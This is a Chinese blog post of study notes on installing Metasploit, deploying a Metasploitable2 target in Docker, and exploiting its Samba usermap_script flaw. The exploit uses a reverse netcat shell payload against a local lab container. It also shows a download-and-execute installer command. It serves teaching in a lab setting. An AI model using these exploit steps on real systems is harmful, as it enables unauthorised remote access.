← 返回

Metasploit 框架与靶机的安装与测试

渗透测试 • 2026年4月12日

前言

最近在学习《Metasploit 渗透测试魔鬼训练营》,颇为有趣。

想起以前看《操作系统导论(Remzi H. Arpaci-Dusseau等著)》的日子了(我爱死这本书了)

这份笔记记录了 Metasploit Framework 框架安装、靶机配置和实际攻击演示。

一、Metasploit Framework 安装

笔者环境

  • 操作系统:Ubuntu(或其他 Linux 发行版)

安装步骤

按照官方文档(Metasploit 官方安装指南)进行安装:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall
MSF 安装过程

进入 MSF 控制台

安装完成后,输入以下命令进入 Metasploit 控制台:

msfconsole
MSF 控制台启动

查看帮助信息

进入控制台后,可使用 help 命令查看所有可用命令,或使用 help [命令名] 查看特定命令的帮助:

help
help [命令名]
MSF 帮助界面

二、靶机(Metasploitable)安装

使用 Docker 配置靶机

此处使用 Docker 快速部署 Metasploitable 靶机。首先拉取镜像:

sudo docker pull tleemcjr/metasploitable2
Docker 拉取 Metasploitable 镜像

启动靶机容器

使用以下命令启动靶机容器并进入 shell:

sudo docker run --name mymetasploitable -it tleemcjr/metasploitable2:latest sh -c "/bin/services.sh && bash"

提示:可将此命令写入 .sh 脚本文件并赋予执行权限,避免重复输入。

获取容器 IP

启动后,在容器内输入 ifconfig 查看容器 IP 地址:

ifconfig

在此示例中,容器 IP 为 172.17.0.2

获取容器 IP 地址

三、执行攻击

基本概念

在 Metasploit 中执行攻击需要理解几个关键概念:

模块(Module)

渗透攻击模块指利用什么样的漏洞或弱点进行攻击。

载荷(Payload)

攻击载荷指攻破后在目标机器上执行怎样的命令以获取权限。

攻击流程

以下命令在msfconsole中执行

步骤 1:选择攻击模块

使用 multi/samba/usermap_script 模块来利用 Samba 漏洞:

use multi/samba/usermap_script

步骤 2:设置攻击载荷

设置攻击载荷为反向 netcat shell:

set payload cmd/unix/reverse_netcat

步骤 3:设置目标主机

设置目标主机 IP(RHOST - Remote HOST),即容器的 IP 地址:

set RHOST 172.17.0.2

步骤 4:执行攻击

输入 exploit 命令执行攻击:

exploit
攻击执行过程

攻击结果

攻击成功后,攻击机将获取靶机的命令执行权限,可在目标机器上执行任意命令:

成功获取靶机权限

这只是 Metasploit 的基础环境测试。实际渗透测试中还涉及信息收集、漏洞扫描、权限提升等更复杂的流程。

相关资源

Metasploit 官方文档 · Metasploit GitHub ·